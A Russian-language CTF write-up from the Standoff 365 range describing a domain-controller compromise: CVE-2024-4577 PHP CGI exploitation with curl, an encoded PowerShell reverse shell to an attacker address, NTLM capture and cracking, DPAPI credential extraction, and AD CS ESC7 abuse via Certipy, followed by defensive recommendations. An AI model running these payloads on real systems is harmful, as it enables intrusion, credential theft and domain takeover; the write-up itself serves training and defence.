Привет, Хабр!Меня зовут Евгений Кабаргин (aka kiberjen). Я капитан KiberS, команды энтузиастов и профессионалов в области кибербезопасности. Любим наступательные техники и постоянно развиваемся в этом направлении, специализируемся на веб-пентесте, тестировании инфраструктуры и Red Team. В этой статье я разберу, как в рамках задания на платформе Standoff 365 был скомпрометирован контроллер домена компании Carbon.По легенде, инцидент обнаружила служба информационной безопасности во время планового аудита: специалисты выявили подозрительную активность в сети. Выяснилось, что нарушители получили доступ к контроллеру домена Carbon. Компания вернула контроль над инфраструктурой и сосредоточилась на устранении последствий, но информация об атаке уже просочилась в сеть. Клиенты Carbon в шоке...Этот кейс представляет учебный интерес с точки зрения того, что была проведена многоуровневая атака: точка входа через уязвимость CVE-2024-4577 в PHP CGI, последовательная эскалация привилегий и финальная компрометация домена через некорректно настроенную инфраструктуру сертификатов (AD CS, ESC7). Читать далее

Привет, Хабр!
Меня зовут Евгений Кабаргин (aka kiberjen). Я капитан KiberS, команды энтузиастов и профессионалов в области кибербезопасности. Любим наступательные техники и постоянно развиваемся в этом направлении, специализируемся на веб-пентесте, тестировании инфраструктуры и Red Team.
В этой статье я разберу, как в рамках задания на платформе Standoff 365 был скомпрометирован контроллер домена компании Carbon.
По легенде, инцидент обнаружила служба информационной безопасности во время планового аудита: специалисты выявили подозрительную активность в сети. Выяснилось, что нарушители получили доступ к контроллеру домена Carbon. Компания вернула контроль над инфраструктурой и сосредоточилась на устранении последствий, но информация об атаке уже просочилась в сеть. Клиенты Carbon в шоке...
Что за компанияCarbon — ИТ-компания во вселенной Государства F, которая обеспечивает ИТ-инфраструктуру организаций Государства F на основе собственных высокотехнологичных решений. Специалисты компании на связи с клиентами 24/7, 365 дней в году.
Хост: carbon.standalone.stf (10.124.249.4).
Этот кейс представляет учебный интерес с точки зрения того, что была проведена многоуровневая атака: точка входа через уязвимость CVE-2024-4577 в PHP CGI, последовательная эскалация привилегий и финальная компрометация домена через некорректно настроенную инфраструктуру сертификатов (AD CS, ESC7).
Материал будет полезен специалистам по наступательной безопасности и участникам CTF-соревнований. В нем показана реальная цепочка атаки (от разведки до получения административного доступа к домену), а также приведены рекомендации для защиты.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.
⛓️ Cyber kill chain
Компрометация складывается из нескольких слабых мест на разных уровнях инфраструктуры.
Снаружи все начинается с небрежно опубликованного XAMPP. Дальше цепочка ведет к получению интерактивного доступа, затем учетных данных, потом к разведке внутри домена, а в итоге упирается в доверенную PKI-среду, которая и становится главным трамплином для установки полного контроля.
Reconnaissance (Разведка)
На этапе разведки узел сразу выделяется из-за набора ролей. Перед нами не просто Windows-сервер, а узел доменной инфраструктуры с Kerberos, LDAP, SMB, WinRM и RDP. При этом на порте TCP 8888 наружу открыт XAMPP — это мгновенно сужает круг гипотез и делает веб-компонент приоритетной точкой входа.
Weaponization (Подготовка полезной нагрузки)
Дальше подготавливается полезная нагрузка, которая использует особенности обработки аргументов в PHP CGI. Цель не в эксплойте ради эксплойта, а в том, чтобы превратить легитимный PHP-скрипт в точку выполнения произвольного кода за счет подмены runtime-параметров.
Delivery (Доставка)
Подготовленный POST-запрос отправляется прямо в уязвимый веб-компонент. На этом этапе еще нет полноценного контроля над системой, но уже появляется возможность заставить сервер выполнить содержимое из тела запроса.
Exploitation (Эксплуатация)
Как только инъекция CGI-аргументов отрабатывает, сервер выполняет внедренный PHP-код. Это и есть ключевой переломный момент: внешняя поверхность атаки превращается в реальное удаленное выполнение команд на целевом узле.
Installation, foothold (Закрепление)
Убедившись, что выполнение команд действительно возможно, атакующий закрепляется через более удобный интерактивный доступ. Разовый запуск команды перестает быть ограничением — появляется полноценная рабочая сессия, достаточная для исследования системы и перехода к следующим этапам.
Command and control (Управление и контроль)
Интерактивный доступ позволяет управлять узлом уже не точечно, а последовательно: исследовать файловую систему, вызывать сетевую активность, инициировать аутентификационные события и собирать артефакты, которые дальше раскручивают всю цепочку.
Actions on objectives (Действия по достижению целей)
На этой стадии компрометация перестает быть локальной. В ход идут найденные учетные данные, разведка внутри домена, анализ AD CS и злоупотребление доверенной инфраструктурой сертификатов. Финал закономерен: высокий привилегированный контекст и получение целевых флагов.
🎯 MITRE ATT&CK
Если смотреть на Carbon сквозь призму MITRE ATT&CK, то это не история про одну технику, а про хорошо сцепленную последовательность тактик. Сначала используется внешний вектор доступа, затем на узле запускается код, после чего атака смещается в сторону учетных данных, внутреннего исследования доменной среды и повышения привилегий через слабую конфигурацию доверенных сервисов.
Тактика | Как это выглядит в кейсе Carbon |
Первоначальный доступ (Initial Access) | Внешне доступный веб-компонент становится первой точкой входа в инфраструктуру |
Выполнение (Execution) | На целевом Windows-узле достигается выполнение кода через уязвимый PHP CGI |
Доступ к учетным данныс (Credential Access) | После закрепления атакующий получает и разбирает учетные данные и аутентификационные артефакты |
Разведка (Discovery) | Начинается исследование сервисов узла, структуры домена и конфигурации инфраструктуры сертификатов |
Боковое перемещение (Lateral Movement) | Переход от локального доступа к доменной учетной записи расширяет радиус контроля |
Повышение привилегий (Privilege Escalation) | Более высокий контекст достигается за счет слабой конфигурации AD CS |
Обход защиты (Defense Evasion) | Критически опасные действия выполняются через доверенные административные механизмы и легитимные сервисы среды |
Управление и контроль (Command and Control) | Интерактивная сессия позволяет последовательно управлять системой и развивать атаку |
Воздействие, достижение целей (Impact, Objective Completion) | Финальная цель достигается после получения прав администратора и сдачи флагов |
На первом этапе задача сводится к тому, чтобы понять роль узла в инфраструктуре и выделить наиболее перспективную точку входа. По результатам сканирования с помощью nmap видно, что перед нами не просто Windows-сервер, а узел, тесно связанный с доменной средой. Здесь есть Kerberos, LDAP, SMB, RDP и WinRM. Одновременно с этим на порте TCP 8888 наружу открыт веб-сервис — он и будет проверяться в первую очередь.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 92:ea:2c:d8:58:a4:9a:d0:ce:cc:b6:38:64:fd:7b:81 (RSA)
| 256 8c:ac:63:b9:69:e8:c9:cb:12:3f:f2:b7:7e:a0:55:b4 (ECDSA)
|_ 256 90:d3:44:07:68:96:9c:44:92:26:9b:52:d1:fe:fd:89 (ED25519)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-02-16 22:51:21Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf
| Issuer: commonName=standoff-CARBON-CA-2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-02T11:02:54
| Not valid after: 2027-02-02T11:02:54
| MD5: db97 bad9 c379 0d35 9350 69da ad16 50c2
| SHA-1: 23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960
|_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf
| Issuer: commonName=standoff-CARBON-CA-2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-02T11:02:54
| Not valid after: 2027-02-02T11:02:54
| MD5: db97 bad9 c379 0d35 9350 69da ad16 50c2
| SHA-1: 23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960
|_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf
| Issuer: commonName=standoff-CARBON-CA-2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-02T11:02:54
| Not valid after: 2027-02-02T11:02:54
| MD5: db97 bad9 c379 0d35 9350 69da ad16 50c2
| SHA-1: 23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960
|_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf
| Issuer: commonName=standoff-CARBON-CA-2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-02T11:02:54
| Not valid after: 2027-02-02T11:02:54
| MD5: db97 bad9 c379 0d35 9350 69da ad16 50c2
| SHA-1: 23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960
|_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Issuer: commonName=carbon.standoff.stf
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-01T06:59:04
| Not valid after: 2026-08-03T06:59:04
| MD5: fbeb 74bf 8916 8efd 4b8b ffad a865 86ec
| SHA-1: aac9 e9f3 4ce0 aad3 cfe9 84cf b2ac 9314 2b47 79ab
|_SHA-256: 7399 9e8d 4666 c9a0 87f6 78de 19d9 9b81 7f7f 876e 1c8c ba0c 1723 ffdd 7fa7 3330
| rdp-ntlm-info:
| Target_Name: STANDOFF
| NetBIOS_Domain_Name: STANDOFF
| NetBIOS_Computer_Name: CARBON
| DNS_Domain_Name: standoff.stf
| DNS_Computer_Name: carbon.standoff.stf
| DNS_Tree_Name: standoff.stf
| Product_Version: 10.0.20348
|_ System_Time: 2026-02-16T22:52:12+00:00
|_ssl-date: 2026-02-16T22:52:20+00:00; -2s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8888/tcp open http Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3)
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: Welcome to XAMPP
|_Requested resource was <http://carbon.standalone.stf:8888/dashboard/>
Входная точка: XAMPP и CVE-2024-4577
Сервис на порте TCP 8888 сразу выделяется на фоне остальной поверхности атаки. На узле, тесно связанном с доменной инфраструктурой, опубликован XAMPP со стеком PHP CGI, что делает CVE-2024-4577 наиболее вероятным кандидатом на роль входного вектора. Именно сочетание внешне доступного XAMPP и уязвимого CGI-механизма превращает веб-компонент в точку удаленного выполнения кода.

CVE-2024-4577 — уязвимость, связанная с внедрением аргументов в PHP CGI на Windows. Эксплуатируя её, злоумышленник может передать дополнительные параметры интерпретатору PHP через URL, обходя механизмы защиты. В сочетании с параметром auto_prepend_file=php://input это превращается в полноценную RCE-уязвимость.
Proof of concept: проверка выполнения команды
curl -s -k -X POST \\
-H "Host: carbon.standalone.stf:8888" \\
-H "Content-Type: application/x-www-form-urlencoded" \\
--data-binary "<?php system('type C:\\\\rce.flag 2>&1');?>" \\
"<http://carbon.standalone.stf:8888/dashboard/phpinfo.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input>"Успешный ответ подтверждает выполнение произвольного кода от имени процесса Apache.

Получаем баллы за уязвимость
Получение reverse shell
После того как подтвердилась возможность выполнять команды, необходимо перейти к интерактивному доступу. Для этого отправляем PowerShell payload через тот же вектор:
curl -s -k -X POST \\
-H "Host: carbon.standalone.stf:8888" \\
-H "Content-Type: application/x-www-form-urlencoded" \\
--data-binary "<?php system('powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAyADcALgAyADQANgAuADEAOAAyACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== 2>&1');?>" \\
"<http://carbon.standalone.stf:8888/dashboard/phpinfo.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input>"Payload устанавливает TCP-соединение с сервером атакующего. Дальше полноценная PowerShell-сессия на целевом узле.

Инициирование outbound-аутентификации и сбор учетных данных
Оболочка есть, следующий шаг получение учетных данные для перемещения в домен. Используется связка инструментов: провокация NTLM-аутентификации и перехват хеша.

Сбор учетных данных
После получения интерактивного доступа задача меняется: теперь уже важно не только выполнять команды на узле, но и находить материалы, которые помогут расширить радиус компрометации. На этом этапе в ход идут сетевые аутентификационные артефакты и локально доступные секреты.
На машине атакующего:
sudo responder -I tun0
На захваченном узле инициируется обращение к пути атакующего, что вызывает NTLM-аутентификацию. Responder перехватывает NTLMv2-хеш пользователя httpd.

Взлом хеша:
john --w='/usr/share/wordlists/rockyou.txt' hash

Результат:
httpd : RMysterio1
Проверка учетных данных в домене:
nxc smb 10.124.249.4 -u users -p 'RMysterio1’

Получение интерактивного SSH-доступа
После подтверждения валидности учетных данных переходим к стабильной интерактивной сессии:
ssh marat.kiselev@10.124.249.4

Доступ по SSH стабильнее, чем reverse shell, и упрощает последующие операции на узле.
Поиск артефактов и извлечение PSCredential
В пользовательской папке обнаруживается файл creds_for_scripts.xml в формате PowerShell CLIXML. Это зашифрованный через Windows DPAPI объект PSCredential. Поскольку расшифровка DPAPI привязана к контексту пользователя, выполняем ее прямо на атакуемом сервере.

<Objs Version="1.1.0.1" xmlns="<http://schemas.microsoft.com/powershell/2004/04>">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">emma.shutova@standoff.stf</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fd44c554a2d9fb4e8bcea694b5d37c8c0000000002000000000003660000c000000010000000acba5344f69597c849ec2ebd18d798850000000004800000a0000000100000009012e98870c4258b95cbfd7eb33e57893000000078f99006e86c8cb47cc2ff896457e6ddbdc5301705754a4edcb59c11c1e97609ee0f1214268579bf3d26f9bc157d53a5140000004163fe59cacc857e14bdd755d46a715f272d3485</SS>
</Props>
</Obj>
</Objs>
Расшифровку выполнили в пользовательском контексте на целевом хосте:
$Credential = Import-Clixml -Path "creds_for_scripts.xml"
[PSCustomObject]@{
UserName = $credential.GetNetworkCredential().username
Password = $credential.GetNetworkCredential().password
}
Результат:
emma.shutova@standoff.stf : 89-news-MOSCOW-wire-13
Разведка в домене и обнаружение AD CS
С учетными данными пользователя emma.shutova запускаем полный сбор данных о домене:
bloodhound-ce-python -u emma.shutova -p '89-news-MOSCOW-wire-13' -ns 10.124.249.4 -d standoff.stf -c all --zip

Обнаружение центров сертификации:
nxc ldap 10.124.249.4 -u emma.shutova -p '89-news-MOSCOW-wire-13' -M adcs

Поиск уязвимых шаблонов сертификатов:
certipy-ad find -u emma.shutova -p '89-news-MOSCOW-wire-13' -target 10.124.249.4 -text -stdout -vulnerable

Certipy выявляет уязвимость ESC7: у учетной записи emma.shutova есть права ManageCA в центре сертификации standoff-CARBON-CA-2. Это позволяет злоупотребить механизмом выдачи сертификатов.
Эксплуатация AD CS (ESC7)
ESC7 — мисконфигурация Active Directory Certificate Services, при которой обычный доменный пользователь имеет права ManageCA или ManageCertificates в центре сертификации. Атакующий может назначить себя офицером CA, включить уязвимый шаблон SubCA и от его имени выпустить сертификат на любого пользователя домена, включая Administrator. Полученный сертификат используется для PKINIT-аутентификации и извлечения NT-хеша целевой учетной записи — без каких-либо изменений в AD и без стандартных признаков компрометации учетных данных.
ESC7 эксплуатируется в четыре шага:
Шаг 1. Назначаем emma.shutova роль офицера CA:
certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -add-officer emma.shutova -dc-ip 10.124.249.4

Шаг 2. Включаем шаблон SubCA:
certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -enable-template 'SubCA' -dc-ip 10.124.249.4

Шаг 3. Запрашиваем сертификат от имени Administrator:
certipy-ad req -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -template SubCA -dc-ip 10.124.249.4 -upn Administrator
Шаг 4. Утверждаем запрос и получаем сертификат:
certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -issue-request 61 -dc-ip 10.124.249.4

Получение хеша администратора и финального доступа
Используем полученный сертификат для аутентификации через PKINIT:
certipy-ad auth -pfx administrator.pfx -domain standoff.stf -dc-ip 10.124.249.4

Certipy извлекает NT-хеш учетной записи Administrator. Используем его для получения shell:
python3 psexecsvc.py -hashes :2025795511c87497c788b762fe6321ac Administrator@10.124.249.4

Получен системный доступ. Флаги LPE и критического события захвачены.

Получение флага критического события


🛡️ Рекомендации по защите
Каждый этап описанной выше атаки на компанию Carbon соответствует конкретной ошибке в конфигурации. Ниже — адресные меры для устранения каждой из них.
1. Уязвимый PHP CGI (CVE-2024-4577)
Обновить PHP до версии 8.1.29, 8.2.20, 8.3.8 и выше — уязвимость устранена в этих релизах. Отказаться от режима CGI в пользу PHP-FPM или mod_php. Не публиковать отладочные стенды (XAMPP) на продуктивных серверах, особенно на контроллерах домена. Ограничить доступ к веб-сервису на сетевом уровне через файрвол и сегментацию.
2. Перехват NTLM (Responder)
Отключить LLMNR и NetBIOS-NS в групповой политике. Включить SMB-подписи (SMB signing) для предотвращения relay-атак. Использовать Extended Protection for Authentication (EPA). Рассмотреть переход на Kerberos-only-аутентификацию там, где это возможно.
3. Хранение учетных данных в файлах
Не хранить учетные данные в CLIXML-файлах или иных форматах на диске. Использовать secret-management-решения: HashiCorp Vault, Azure Key Vault, Windows Credential Manager с надлежащим ACL. Проводить регулярный аудит файловой системы на наличие артефактов с учетными данными (*.xml, .cred, .config).
4. Некорректная конфигурация AD CS (ESC7)
Регулярно проверять конфигурацию AD CS инструментами Certipy или PSPKIAudit. Ограничить права ManageCA и ManageCertificates, выдав их только администраторам. Не оставлять включенными шаблоны субординированного CA (SubCA) без явной необходимости. Настроить оповещения о событиях в центре сертификации (добавление офицеров, включение шаблонов, ручное подтверждение запросов).
5. Общие меры
Применять принцип наименьших привилегий: сервисные учетные записи не должны иметь избыточные права в домене. Внедрить мониторинг на основе матрицы MITRE ATT&CK: аномальные Kerberos-запросы, запросы сертификатов от нестандартных учетных записей, PowerShell с EncodedCommand. Контроллеры домена не должны быть точкой входа для веб-сервисов — изолируйте их роли.
Вывод
Случай со взломом компании Carbon на киберполигоне — демонстрация классической многоуровневой атаки, в которой ни одна из уязвимостей по отдельности не выглядит критически опасной, но их комбинация ведет к полной компрометации домена. Веб-разработчик, оставивший XAMPP с устаревшим PHP, администратор, создавший файл с паролем, и инженер PKI, не проверивший права в CA, — все трое внесли свой вклад в итоговый результат.
Для защитника главный урок: поверхность атаки нужно рассматривать целостно, а не только в разрезе отдельных CVE-уязвимостей.
| # | Наименование новости | Тональность | Информативность | Дата публикации |
|---|---|---|---|---|
| 1 | Актуальные киберугрозы веб-приложений и инфраструктуры разработки | 0 | 15.35 | 30-06-2026 |
| 2 | От SQL Injection до флага: разбираем решение машины Rawmatex на платформе Standoff 365 | 1 | 12.06 | 27-07-2026 |
| 3 | Хаос, шок, приватные ключи от не менее приватного GitLab | 0 | 29.2 | 31-07-2026 |
| 4 | Пять редких техник закрепления хакеров в сети | 0 | 9.85 | 23-06-2026 |
| 5 | Атака через службу ViPNet MFTP: признаки компрометации и рекомендации | 0 | 10.28 | 17-07-2026 |
| 6 | Активность хакерских группировок: блокчейн как C2, business email compomise и антибот-фильтры | 0 | 10.89 | 22-07-2026 |
| 7 | Что делать, если сервер доступен по SSH, а сайт не открывается | 0 | 9.68 | 19-08-2026 |
| 8 | Что происходит при DDoS и как отличить атаку от нагрузки | 0 | 5 | 25-06-2026 |
| 9 | ТОПовые цели хакеров. Как защитить первых лиц компании от кибератак | 0 | 8.71 | 24-07-2026 |